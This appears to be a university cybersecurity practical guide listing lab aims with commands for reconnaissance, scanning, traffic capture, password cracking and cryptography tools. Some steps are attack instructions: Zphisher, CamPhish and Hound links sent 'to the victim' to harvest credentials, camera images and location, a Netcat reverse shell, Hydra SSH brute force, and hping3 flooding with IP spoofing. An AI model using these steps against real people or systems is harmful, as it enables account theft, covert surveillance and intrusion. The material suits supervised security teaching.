CYBER SECURITY PRACTICAL GUIDE

Sr.No.	Aims
1	Collect publicly available information about the target using OSINT tools (OSINTframework, IDCrawl, Spokeo, OpenCorporates, VirusTotal, Ahmia, DNSDumpster, Whois) to understand the target's digital footprint and potential exposure. 1. wappalyzer extension 2. OSINTframework.com 3. idcrawl.com 4. spokeo.com 5. opencorporates.com 6. virustotal.com 7. ahmia.fi 8. dnsdumpster.com 9. who.is
2	Perform passive reconnaissance on the target web application/server using tools like Whois, nslookup, dig, host, dnsrecon, dnsenum, theHarvester, and DNSDumpster to collect domain and infrastructure details without active interaction. 1. whois target_website.com 2. nslookup target_website.com 3. dig target_website.com 4. host target_website.com 5. dnsrecon -d target_website.com 6. dnsenum target_website.com 7. theHarvester -d target_website.com -b all
3	Conduct active reconnaissance on the target web application/server using tools such as dirb, ping, traceroute, netdiscover, sublist3r, amass, wget, and curl to identify directories, subdomains, network structure, and live hosts. 1. dirb target_website.com 2. ping target_website.com 3. traceroute target_website.com 4. sublist3r -d target_website.com 5. amass -d target_website.com 6. wget link_of_file_to_download.pdf

4	Use advanced Google dorking search operators to identify publicly exposed webcams, passwords, sensitive files, internal documents, camera images, and mail logs related to the target's domain or infrastructure. 1. Refer to google dorking txt file in classroom
5	Execute a detailed Nmap scan to perform host discovery, detect open ports, determine operating systems, identify running services, and assess potential vulnerabilities on the target IP. 1. refer NMAP commands table-1 below
6	Demonstrate credential harvesting through social engineering by creating phishing pages using Zphisher, showing how attackers can exploit user trust on social media platforms. 1. git clone https://github.com/htr-tech/zphisher.git 2. cd Zphisher 3. chmod 777 zphisher.sh 4. ./zphisher.sh 5. Select social media for fake login page 6. (select option for localhost or CloudFlare) 7. Copy the malicious link. Send to the victim and wait for the credentials files.
7	Simulate unauthorized access to a target device's camera using CamPhish through social engineering techniques to understand risks associated with malicious camera exploitation. 1. git clone https://github.com/techchipnet/CamPhish.git 2. cd Camphish 3. chmod 777 camphish.sh 4. ./camphish.sh 5. (select option 2 cloudflared) 6. (select phishing type) online meeting 7. copy the malicious link, send to the victim, and wait for cam files.
8	Identify and track the precise geographical location of a target device or individual using the Hound tool to demonstrate location-based information gathering. 1. git clone https://github.com/techchipnet/hound.git 2. cd hound 3. chmod 777 hound.sh 4. ./hound.sh 5. cloudflared tunnel → Y 6. copy the link and send to victim 7. wait for response

9	Simulate Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks against a controlled target using hping3 to analyze the impact of traffic-based disruption attacks. 1. refer hping3 commands table-2 below
10	Capture and analyze HTTP traffic using Wireshark to identify plaintext credentials and sensitive information. Apply various display filters to uncover hidden data exchanged between client and server. 1. Start Wireshark and capture the interface with the internet 2. Go to the browser and search for http://testphp.vulnweb.com 3. Go to the sign-up page and enter credentials. 4. Go back to wireshark and apply filter http 5. Identify the packets of target website. Right click and go to follow → HTTP stream 6. Identify credentials in HTTP request.
11	Intercept network traffic using Burp Suite and FoxyProxy to manipulate captured requests. Perform a dictionary attack through the Intruder module to demonstrate credential brute forcing. 1. Search for “portswigger password list”, open first link, copy the list of passwords and paste it in new pass.txt file(Also add “test” in between) 2. Setup foxyproxy extension 3. Set foxyproxy settings -> HTTP, 127.0.0.1, 8080 4. Open burp suite 5. Go to proxy and turn on intercept 6. Search for testphp.vulnweb.com 7. Turn on foxyproxy to HTTP 8. Go to signup page on testphp.vulnweb.com 9. Observe the captured HTTP request in burp suite and forward it 10. Enter username as test and password as any random string. 11. Observe captured username and password in burp suite. 12. Right click on the captured packet and send it to the intruder 13. Go to intruder and select the randomly entered password. 14. Click on load button and select pass.txt containing list of passwords 15. Start the attack and observe the response code and size of returning page. 16. Password with response code “200” is the actual password.
12	Use Netcat to simulate a reverse shell connection, demonstrating how attackers can gain unauthorized remote access to a victim system through network exploitation. 1. Run ifconfig on kali linux to identify its IP address (make sure connection is bridged) 2. Run the command to start listener on Kali: nc -lvnp 4444 3. Install ncat in windows if not installed. 4. Run the command in windows to grant access: ncat -nv <kali-ip-address> 4444 -e cmd.exe

13.	Perform password cracking on hashed credentials using John the Ripper to demonstrate how weak or exposed passwords can be compromised through offline attacks. a) Download rockyou.txt(dictionary file) from the link below. Use the command: wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt b) Search for md5 hash generator and generate a hash for a normal password, such as 12345678(or any other password present in rockyou.txt) c) Go to Kali and enter i. nano pass.txt ii. Paste the hash of 12345678 iii. Save with Ctrl+S and exit with Ctrl+X d) Perform hash cracking with the command below: i. john --wordlist=rockyou.txt hashfile.txt --format=raw-MD5 e) Repeat steps from b) to d) for NTLM and SHA256 hash passwords
14.	Explore automated web-application security by configuring policies, performing spidering, and detecting vulnerabilities to understand real-world attack surfaces. 1. Open the OWASP ZAP tool 2. Select automated scan 3. Enter URL: http://testphp.vulnweb.com/login.php a. Select traditional spider 4. Click on analyze on the toolbar → open scan policy manager a. Remove unnecessary policies b. Click on add to create a new policy → give a name to the policy c. Select vulnerability types from the left to add to in scan policy → OK 5. Start the scanning by clicking on the attack 6. Analyze the sitemap created by scanning on left side's sites option. 7. Analyze the High priority, Medium priority, Low priority, and informational priority alerts a. Note their Evidence, CWE ID, Description, Solution, and references

15.	Investigate classical symmetric ciphers: Caesar, Substitution, and Playfair using CrypTool to understand encryption logic, key dependency, and susceptibility to cryptanalytic attacks. **1. —Enter confidential details in the message box.** 2. Encrypt the message using the Caesar cipher algorithm(choose a key of your choice) 3. Decrypt the ciphertext to recover the original message 4. Manipulate the key or cipher text to analyze the result of manipulation **5. —Enter confidential details in the message box.** 6. Encrypt the message using the Substitution cipher algorithm(choose a key of your choice) 7. Decrypt the ciphertext to recover the original message 8. Manipulate the key or cipher text to analyze the result of manipulation **9. —Enter confidential details in the message box.** 10. Encrypt the message using the Playfair cipher algorithm(choose a key of your choice) 11. Decrypt the ciphertext to recover the original message 12. Manipulate the key or cipher text to analyze the result of the manipulation
16.	Implement RSA and digital signatures in CrypTool to analyze key-pair generation, secure message encryption, and authentication through integrity verification mechanisms. **1. Enter confidential details in the message box.** 2. Encrypt the message using the RSA algorithm(select a key generated by cryptool) 3. Decrypt the ciphertext to recover the original message(Enter PIN=1234) 4. Manipulate the key or cipher text to analyze the result of the manipulation **5. Enter confidential details in the message box.** 6. Click on digital signature → sign document a. Select a hash algorithm and encryption algorithm(EC-prime or RSA) and enter PIN=1234 7. Click on digital signature → verify signature 8. Manipulate the digital signature or original document to analyze the result of the manipulation
17.	Configure encrypted and digitally signed communication using RMail to understand secure email workflows, confidentiality assurance, and sender authenticity validation. 1. Search for the Rmail extension for Chrome. 2. Add Rmail extension for Chrome 3. Open Gmail → Activate Rmail → choose account → allow all permissions. 4. Compose mail → on the bottom, there is an option to encrypt → select Custom and create a password → send mail(red color) 5. Check on the receiver's side → observe the password-protected PDF file consisting of mail data. → Enter the password and retrieve the originally sent data. 6. —---------- 7. Compose mail → on the bottom, there is an option to E-sign → send mail(red color) 8. Check on the receiver's side → observe the digitally-signed PDF file consisting of mail data.

18.	Demonstrate SSH brute-force exploitation using Hydra to understand authentication weaknesses, credential security, and preventive mitigation strategies. 1. In Windows, go to optional features and add the OpenSSH server. 2. In Windows, go to Services and start the OpenSSH server a. Create inbound firewall rule allowing traffic on port 22 **IF NECESSARY** 3. notedown ipaddress of windows from cmd→ipconfig/all 4. In Kali Linux, a. Perform nmap ip_of_windows (to find open ports→you will see port 22 open) b. Run Hydra to perform a dictionary attack on the SSH service. i. hydra -l “windows username” -P rockyou.txt ssh://windows_ip -v ii. (add your actual password in rockyou.txt if it doesn’t crack) c. Get SSH access, i. ssh Windows_username@windows_ip 1. (You will be asked for a password. Enter the cracked password) d. Create a folder named “ssh_exploited” using mkdir

Sr. No.	Command and options	Description
1	nmap <target-ip> Eg. nmap 192.168.1.1	Check if host is active and scan 1000 ports
2	nmap x.x.x.* Eg. nmap 192.168.1.*	Search for number of hosts in network.
2	nmap -v <target> Eg. nmap -v 192.168.1.1	Verbose scan, provides more details.
3	nmap -vv <target> Eg. nmap -vv 192.168.1.1	Very verbose scan, even more details.
4	nmap -Pn <target> Eg. nmap -Pn 192.168.1.1	Treat host as online, skip host discovery.
5	nmap --traceroute <target> Eg. nmap –traceroute 192.168.1.1	Perform traceroute after the scan.
6	nmap -O <target> Eg. nmap -O 192.168.1.1	OS detection scan.
7	nmap -p <port> <target> Eg. nmap -p 80 192.168.1.1	Scan specific port(s).
8	nmap -p- <target> Eg. nmap -p- 192.168.1.1	Scan all ports (0-65535).
9	nmap -p 80,443 <target> Eg. nmap -p 80,443	Scan specific ports (e.g., 80, 443).
10	nmap -A <target> Eg. nmap -A 192.168.1.1	Comprehensive scan (OS detection, version detection, script scanning, and traceroute).
11	nmap -sV <target> Eg. nmap -sV 192.168.1.1	Version detection scan.

Table-1: Nmap basic commands guide

Command / Option	Purpose	Example
-1	ICMP mode (like ping)	hping3 -1 192.168.1.1
-2	+UDP mode	hping3 -2 -p 53 192.168.1.1
-S	TCP SYN flag (scan)	hping3 -S -p 80 192.168.1.1
-A	TCP ACK flag (firewall testing)	hping3 -A -p 80 192.168.1.1
-F	TCP FIN flag	hping3 -F -p 80 192.168.1.1
-p <port>	Destination port	hping3 -S -p 443 192.168.1.1
-s <port>	Source port	hping3 -S -s 12345 -p 80 192.168.1.1
-a <IP>	Spoof source IP	hping3 -S -a 10.10.10.10 -p 80 192.168.1.1
-i u1000	Send packet every 1000µs (1ms)	hping3 -S -p 80 -i u1000 192.168.1.1
--flood	Flood mode (DoS simulation)	hping3 -S --flood -p 80 192.168.1.100
-V	Verbose output	hping3 -S -V -p 80 192.168.1.1

Table-2: hping3 commands guide